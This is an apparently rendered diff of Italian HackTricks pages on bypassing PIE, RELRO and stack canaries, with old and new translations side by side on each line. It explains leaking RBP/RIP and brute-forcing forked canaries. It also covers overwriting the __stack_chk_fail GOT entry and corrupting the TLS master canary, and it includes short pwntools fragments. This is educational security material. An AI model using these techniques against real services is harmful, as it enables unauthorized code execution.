@ -82,21 +83,21 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
``` ```
L'ultima cosa di cui hai bisogno per sconfiggere il PIE è calcolare **indirizzi utili dagli indirizzi trapelati**: il **RBP** e il **RIP**. L'ultima cosa di cui hai bisogno per sconfiggere il PIE è calcolare **indirizzi utili dagli indirizzi trapelati**: il **RBP** e il **RIP**.
Dal **RBP** puoi calcolare **dove stai scrivendo il tuo shell nello stack**. Questo può essere molto utile per sapere dove scriverai la stringa _"/bin/sh\x00"_ all'interno dello stack. Per calcolare la distanza tra il RBP trapelato e il tuo shellcode, puoi semplicemente mettere un **breakpoint dopo aver trapelato il RBP** e controllare **dove si trova il tuo shellcode**, quindi puoi calcolare la distanza tra il codice shell e il RBP: Dal **RBP** puoi calcolare **dove stai scrivendo il tuo shell nello stack**. Questo può essere molto utile per sapere dove scriverai la stringa _"/bin/sh\x00"_ all'interno dello stack. Per calcolare la distanza tra il RBP trapelato e il tuo shellcode puoi semplicemente mettere un **breakpoint dopo aver trapelato il RBP** e controllare **dove si trova il tuo shellcode**, quindi puoi calcolare la distanza tra il shellcode e il RBP:
```python ```python
INI_SHELLCODE = RBP - 1152 INI_SHELLCODE = RBP - 1152
``` ```
Dal **RIP** è possibile calcolare l'**indirizzo di base del file binario PIE** di cui avrai bisogno per creare una **catena ROP valida**.\ Dal **RIP** è possibile calcolare l'**indirizzo di base del file binario PIE** di cui avrai bisogno per creare una **catena ROP valida**.\
Per calcolare l'indirizzo di base, esegui semplicemente `objdump -d vunbinary` e controlla gli ultimi indirizzi disassemblati: Per calcolare l'indirizzo di base basta eseguire `objdump -d vunbinary` e controllare gli ultimi indirizzi disassemblati:
![](<../../../.gitbook/assets/image (479).png>) ![](<../../../.gitbook/assets/image (479).png>)
In quell'esempio puoi vedere che è necessario solo **1 byte e mezzo** per individuare tutto il codice, quindi, l'indirizzo di base in questa situazione sarà il **RIP leak ma terminando con "000"**. Ad esempio, se hai ottenuto il leak `0x562002970ecf`, l'indirizzo di base sarà `0x562002970000` In quell'esempio puoi vedere che sono necessari solo **1 byte e mezzo** per individuare tutto il codice, quindi, l'indirizzo di base in questa situazione sarà il **RIP leakato ma terminante in "000"**. Ad esempio, se hai leakato `0x562002970ecf`, l'indirizzo di base sarà `0x562002970000`.
```python ```python
elf.address = RIP - (RIP & 0xfff) elf.address = RIP - (RIP & 0xfff)
``` ```
## Miglioramenti ## Miglioramenti
Secondo [**alcune osservazioni da questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), è possibile che quando si rilevano i valori di RBP e RIP, il server non si blocchi con alcuni valori che non sono quelli corretti e lo script BF potrebbe pensare di aver ottenuto quelli giusti. Questo perché è possibile che **alcuni indirizzi semplicemente non lo rompano anche se non sono esattamente quelli corretti**. Secondo [**alcune osservazioni da questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), è possibile che quando si rilasciano i valori RBP e RIP, il server non si blocchi con alcuni valori che non sono quelli corretti e lo script BF penserà di aver ottenuto quelli giusti. Questo perché è possibile che **alcuni indirizzi semplicemente non lo rompano anche se non sono esattamente quelli corretti**.
Secondo quel post del blog, è consigliabile aggiungere un breve ritardo tra le richieste al server. Secondo quel post del blog, è consigliabile aggiungere un breve ritardo tra le richieste inviate al server.

View file

@ -1,34 +1,35 @@
# Relro # Relro
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Relro ## Relro
**RELRO** sta per **Relocation Read-Only**, ed è una funzionalità di sicurezza utilizzata nei binari per mitigare i rischi associati agli sovrascritture della **GOT (Global Offset Table)**. Vediamo nel dettaglio i due tipi distinti per chiarezza: **Partial RELRO** e **Full RELRO**. **RELRO** sta per **Relocation Read-Only**, ed è una funzionalità di sicurezza utilizzata nei binari per mitigare i rischi associati agli sovrascritture della **GOT (Global Offset Table)**. Vediamo i due tipi distinti di questa funzionalità per chiarezza: **Partial RELRO** e **Full RELRO**.
### **Partial RELRO** ### **Partial RELRO**
**Partial RELRO** adotta un approccio più semplice per migliorare la sicurezza senza influire significativamente sulle prestazioni del binario. Posizionando la GOT sopra le variabili del programma in memoria, Partial RELRO mira a impedire che gli overflow di buffer raggiungano e corrompano la GOT.&#x20; **Partial RELRO** adotta un approccio più semplice per migliorare la sicurezza senza influire significativamente sulle prestazioni del binario. Posizionando la GOT sopra le variabili del programma in memoria, Partial RELRO mira a prevenire che gli overflow di buffer raggiungano e corrompano la GOT.
Questo **non impedisce** che la GOT sia abusata **da vulnerabilità di scrittura arbitraria**. Questo **non impedisce** che la GOT sia abusata **da vulnerabilità di scrittura arbitraria**.
### **Full RELRO** ### **Full RELRO**
**Full RELRO** aumenta la protezione rendendo la GOT e la sezione .fini\_array completamente **sola lettura.** Una volta che il binario inizia, tutti gli indirizzi delle funzioni vengono risolti e caricati nella GOT, quindi, la GOT viene contrassegnata come sola lettura, impedendo efficacemente qualsiasi modifica ad essa durante l'esecuzione. **Full RELRO** aumenta la protezione rendendo la GOT e la sezione .fini\_array completamente **di sola lettura**. Una volta che il binario inizia, tutti gli indirizzi delle funzioni vengono risolti e caricati nella GOT, quindi la GOT viene contrassegnata come di sola lettura, impedendo efficacemente qualsiasi modifica ad essa durante l'esecuzione.
Tuttavia, il compromesso con Full RELRO riguarda le prestazioni e il tempo di avvio. Poiché è necessario risolvere tutti i simboli dinamici all'avvio prima di contrassegnare la GOT come sola lettura, i **binari con Full RELRO abilitato potrebbero avere tempi di caricamento più lunghi**. Questo sovraccarico aggiuntivo all'avvio è il motivo per cui Full RELRO non è abilitato per impostazione predefinita in tutti i binari. Tuttavia, il compromesso con Full RELRO riguarda le prestazioni e il tempo di avvio. Poiché è necessario risolvere tutti i simboli dinamici all'avvio prima di contrassegnare la GOT come di sola lettura, i **binari con Full RELRO abilitato potrebbero avere tempi di caricamento più lunghi**. Questo sovraccarico aggiuntivo all'avvio è il motivo per cui Full RELRO non è abilitato per impostazione predefinita in tutti i binari.
È possibile verificare se Full RELRO è **abilitato** in un binario con: È possibile verificare se Full RELRO è **abilitato** in un binario con:
```bash ```bash
@ -36,6 +37,6 @@ readelf -l /proc/ID_PROC/exe | grep BIND_NOW
``` ```
## Bypass ## Bypass
Se Full RELRO è abilitato, l'unico modo per aggirarlo è trovare un altro modo che non richieda di scrivere nella tabella GOT per ottenere l'esecuzione arbitraria. Se Full RELRO è abilitato, l'unico modo per evitarlo è trovare un altro modo che non richieda di scrivere nella tabella GOT per ottenere l'esecuzione arbitraria.
Si noti che **la GOT di LIBC è di solito Partial RELRO**, quindi può essere modificata con una scrittura arbitraria. Ulteriori informazioni in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** Si noti che **la GOT di LIBC di solito è Partial RELRO**, quindi può essere modificata con una scrittura arbitraria. Ulteriori informazioni in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**

View file

@ -1,30 +1,31 @@
# Stack Canaries # Stack Canaries
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## **StackGuard e StackShield** ## **StackGuard e StackShield**
**StackGuard** inserisce un valore speciale noto come **canary** prima del **EIP (Extended Instruction Pointer)**, specificamente `0x000aff0d` (rappresentante null, newline, EOF, carriage return) per proteggersi dagli overflow di buffer. Tuttavia, funzioni come `recv()`, `memcpy()`, `read()`, e `bcopy()` rimangono vulnerabili, e non protegge l'**EBP (Base Pointer)**. **StackGuard** inserisce un valore speciale noto come **canary** prima dell'**EIP (Extended Instruction Pointer)**, specificamente `0x000aff0d` (rappresentante null, newline, EOF, carriage return) per proteggersi dagli overflow di buffer. Tuttavia, funzioni come `recv()`, `memcpy()`, `read()`, e `bcopy()` rimangono vulnerabili, e non protegge l'**EBP (Base Pointer)**.
**StackShield** adotta un approccio più sofisticato rispetto a StackGuard mantenendo uno **Stack di Ritorno Globale**, che memorizza tutti gli indirizzi di ritorno (**EIP**). Questa configurazione garantisce che eventuali overflow non causino danni, poiché consente di confrontare gli indirizzi di ritorno memorizzati con quelli effettivi per rilevare eventuali occorrenze di overflow. Inoltre, StackShield può controllare l'indirizzo di ritorno rispetto a un valore di confine per rilevare se l'**EIP** punta al di fuori dello spazio dati previsto. Tuttavia, questa protezione può essere aggirata attraverso tecniche come Return-to-libc, ROP (Return-Oriented Programming), o ret2ret, indicando che StackShield non protegge nemmeno le variabili locali. **StackShield** adotta un approccio più sofisticato rispetto a StackGuard mantenendo uno **Stack di Ritorno Globale**, che memorizza tutti gli indirizzi di ritorno (**EIP**). Questa configurazione assicura che eventuali overflow non causino danni, poiché consente di confrontare gli indirizzi di ritorno memorizzati con quelli effettivi per rilevare eventuali occorrenze di overflow. Inoltre, StackShield può controllare l'indirizzo di ritorno rispetto a un valore di confine per rilevare se l'**EIP** punta al di fuori dello spazio dati previsto. Tuttavia, questa protezione può essere aggirata attraverso tecniche come Return-to-libc, ROP (Return-Oriented Programming), o ret2ret, indicando che StackShield non protegge nemmeno le variabili locali.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:** ## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
Questo meccanismo posiziona un **canary** prima dell'**EBP**, e riorganizza le variabili locali per posizionare i buffer a indirizzi di memoria più alti, impedendo loro di sovrascrivere altre variabili. Copia in modo sicuro gli argomenti passati nello stack sopra le variabili locali e utilizza queste copie come argomenti. Tuttavia, non protegge gli array con meno di 8 elementi o i buffer all'interno di una struttura dell'utente. Questo meccanismo posiziona un **canary** prima dell'**EBP**, e riorganizza le variabili locali posizionando i buffer a indirizzi di memoria più alti, impedendo loro di sovrascrivere altre variabili. Copia in modo sicuro gli argomenti passati nello stack sopra le variabili locali e utilizza queste copie come argomenti. Tuttavia, non protegge gli array con meno di 8 elementi o i buffer all'interno di una struttura dell'utente.
Il **canary** è un numero casuale derivato da `/dev/urandom` o un valore predefinito di `0xff0a0000`. È memorizzato in **TLS (Thread Local Storage)**, consentendo a spazi di memoria condivisi tra thread di avere variabili globali o statiche specifiche del thread. Queste variabili vengono inizialmente copiate dal processo genitore, e i processi figlio possono modificare i loro dati senza influenzare il genitore o i fratelli. Tuttavia, se viene utilizzato un **`fork()` senza creare un nuovo canary, tutti i processi (genitore e figli) condividono lo stesso canary**, rendendolo vulnerabile. Sull'architettura **i386**, il canary è memorizzato a `gs:0x14`, e su **x86\_64**, a `fs:0x28`. Il **canary** è un numero casuale derivato da `/dev/urandom` o un valore predefinito di `0xff0a0000`. È memorizzato in **TLS (Thread Local Storage)**, consentendo a spazi di memoria condivisi tra thread di avere variabili globali o statiche specifiche del thread. Queste variabili vengono inizialmente copiate dal processo genitore, e i processi figlio possono modificare i loro dati senza influenzare il genitore o i fratelli. Tuttavia, se viene utilizzato un **`fork()` senza creare un nuovo canary, tutti i processi (genitore e figli) condivideranno lo stesso canary**, rendendolo vulnerabile. Sull'architettura **i386**, il canary è memorizzato a `gs:0x14`, e su **x86\_64**, a `fs:0x28`.
Questa protezione locale identifica le funzioni con buffer vulnerabili agli attacchi e inietta codice all'inizio di queste funzioni per posizionare il canary, e alla fine per verificare la sua integrità. Questa protezione locale identifica le funzioni con buffer vulnerabili agli attacchi e inietta codice all'inizio di queste funzioni per posizionare il canary, e alla fine per verificare la sua integrità.
@ -42,9 +43,9 @@ Il byte meno significativo di entrambi i canary è un byte nullo perché sarà i
## Bypass ## Bypass
**Leak del canary** e quindi sovrascriverlo (ad es. overflow del buffer) con il proprio valore. **Leak del canary** e successiva sovrascrittura (ad es. overflow del buffer) con il proprio valore.
* Se il **canary è forked nei processi figlio** potrebbe essere possibile **forzarlo** un byte alla volta: * Se il **canary è forked nei processi figlio** potrebbe essere possibile **forzarne** uno byte alla volta:
{% content-ref url="bf-forked-stack-canaries.md" %} {% content-ref url="bf-forked-stack-canaries.md" %}
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md) [bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
@ -56,7 +57,7 @@ Il byte meno significativo di entrambi i canary è un byte nullo perché sarà i
[print-stack-canary.md](print-stack-canary.md) [print-stack-canary.md](print-stack-canary.md)
{% endcontent-ref %} {% endcontent-ref %}
* **Sovrascrivere i puntatori memorizzati nello stack** * **Sovrascrittura dei puntatori memorizzati nello stack**
Lo stack vulnerabile a un overflow dello stack potrebbe **contenere indirizzi a stringhe o funzioni che possono essere sovrascritti** per sfruttare la vulnerabilità senza dover raggiungere il canary dello stack. Controlla: Lo stack vulnerabile a un overflow dello stack potrebbe **contenere indirizzi a stringhe o funzioni che possono essere sovrascritti** per sfruttare la vulnerabilità senza dover raggiungere il canary dello stack. Controlla:
@ -64,37 +65,38 @@ Lo stack vulnerabile a un overflow dello stack potrebbe **contenere indirizzi a
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md) [pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
{% endcontent-ref %} {% endcontent-ref %}
* **Modificare sia il canary master che il canary del thread** * **Modifica sia del canary master che del canary del thread**
Un buffer **overflow in una funzione thread-safe** protetta con canary può essere utilizzato per **modificare il canary master del thread**. Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati). Un buffer **overflow in una funzione thread-safe** protetta con canary può essere utilizzato per **modificare il canary master del thread**. Di conseguenza, la mitigazione è inutile poiché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).
Inoltre, un buffer **overflow in una funzione thread-safe** protetta con canary potrebbe essere utilizzato per **modificare il canary master memorizzato nel TLS**. Questo perché potrebbe essere possibile raggiungere la posizione di memoria in cui è memorizzato il TLS (e quindi il canary) tramite un **bof nello stack** di un thread.\ Inoltre, un buffer **overflow in una funzione thread-safe** protetta con canary potrebbe essere utilizzato per **modificare il canary master memorizzato nel TLS**. Questo perché potrebbe essere possibile raggiungere la posizione di memoria in cui è memorizzato il TLS (e quindi il canary) tramite un **bof nello stack** di un thread.\
Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).\ Di conseguenza, la mitigazione è inutile poiché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).\
Questo attacco è eseguito nella spiegazione: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) Questo attacco è eseguito nel writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Controlla anche la presentazione di [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando viene creato uno **stack** di **thread** viene generato anche da `mmap` secondo questo, che potrebbe consentire l'overflow come mostrato nella spiegazione precedente. Controlla anche la presentazione di [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando viene creato uno **stack** di **thread** viene generato anche da `mmap` secondo questo, che potrebbe consentire l'overflow come mostrato nel writeup precedente.
* **Modificare l'entry GOT di `__stack_chk_fail`** * **Modifica dell'entry GOT di `__stack_chk_fail`**
Se il binario ha Partial RELRO, allora è possibile utilizzare una scrittura arbitraria per modificare l'**entry GOT di `__stack_chk_fail`** in una funzione fittizia che non blocca il programma se il canary viene modificato. Se il binario ha Partial RELRO, è possibile utilizzare una scrittura arbitraria per modificare l'**entry GOT di `__stack_chk_fail`** in una funzione fittizia che non blocca il programma se il canary viene modificato.
Questo attacco è eseguito nella spiegazione: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) Questo attacco è eseguito nel writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## Riferimenti ## Riferimenti
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html) * [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) * [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) * [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# BF Forked & Threaded Stack Canaries # BF Forked & Threaded Stack Canaries
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
**Se ti trovi di fronte a un binario protetto da un canary e da PIE (Position Independent Executable) probabilmente devi trovare un modo per aggirarli.** **Se ti trovi di fronte a un binario protetto da un canary e da PIE (Position Independent Executable) probabilmente devi trovare un modo per aggirarli.**
@ -23,9 +24,9 @@ Nota che **`checksec`** potrebbe non trovare che un binario è protetto da un ca
Tuttavia, puoi notarlo manualmente se trovi che un valore viene salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire. Tuttavia, puoi notarlo manualmente se trovi che un valore viene salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.
{% endhint %} {% endhint %}
## Brute force Canary ## Brute force sul Canary
Il modo migliore per aggirare un canary semplice è se il binario è un programma **che biforca processi figlio ogni volta che si stabilisce una nuova connessione** con esso (servizio di rete), perché ogni volta che ci si connette ad esso **verrà utilizzato lo stesso canary**. Il modo migliore per aggirare un canary semplice è se il binario è un programma che **crea processi figlio ogni volta che si stabilisce una nuova connessione** con esso (servizio di rete), perché ogni volta che ci si connette ad esso **verrà utilizzato lo stesso canary**.
Quindi, il modo migliore per aggirare il canary è semplicemente **forzarlo carattere per carattere**, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è crashato o continua il suo flusso regolare. In questo esempio la funzione **forza un canary di 8 byte (x64)** e distingue tra un byte indovinato correttamente e un byte sbagliato semplicemente **controllando** se viene inviata una **risposta** dal server (in un **altro contesto** potrebbe essere utilizzato un **try/except**): Quindi, il modo migliore per aggirare il canary è semplicemente **forzarlo carattere per carattere**, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è crashato o continua il suo flusso regolare. In questo esempio la funzione **forza un canary di 8 byte (x64)** e distingue tra un byte indovinato correttamente e un byte sbagliato semplicemente **controllando** se viene inviata una **risposta** dal server (in un **altro contesto** potrebbe essere utilizzato un **try/except**):
@ -73,7 +74,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
### Esempio 2 ### Esempio 2
Questo è implementato per 32 bit, ma potrebbe essere facilmente modificato per 64 bit.\ Questo è implementato per 32 bit, ma potrebbe essere facilmente modificato per 64 bit.\
Nota inoltre che per questo esempio il **programma si aspetta prima un byte per indicare la dimensione dell'input** e il payload. Nota anche che per questo esempio il **programma si aspetta innanzitutto un byte per indicare la dimensione dell'input** e del payload.
```python ```python
from pwn import * from pwn import *
@ -122,7 +123,7 @@ Inoltre, un **overflow del buffer in una funzione thread** protetta con canary p
Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (sebbene modificati).\ Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (sebbene modificati).\
Questo attacco è eseguito nel writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) Questo attacco è eseguito nel writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Controlla anche la presentazione di [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando viene creato uno **stack** di un **thread** viene generato anche da `mmap` secondo questo, il che potrebbe consentire l'overflow come mostrato nel writeup precedente. Controlla anche la presentazione di [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando viene creato uno **stack** di un **thread** è generato anche da `mmap` secondo questo, il che potrebbe consentire l'overflow come mostrato nel writeup precedente.
## Altri esempi e riferimenti ## Altri esempi e riferimenti

View file

@ -1,28 +1,29 @@
# Stampare lo Stack Canary # Stampare lo Stack Canary
{% hint style="success" %}
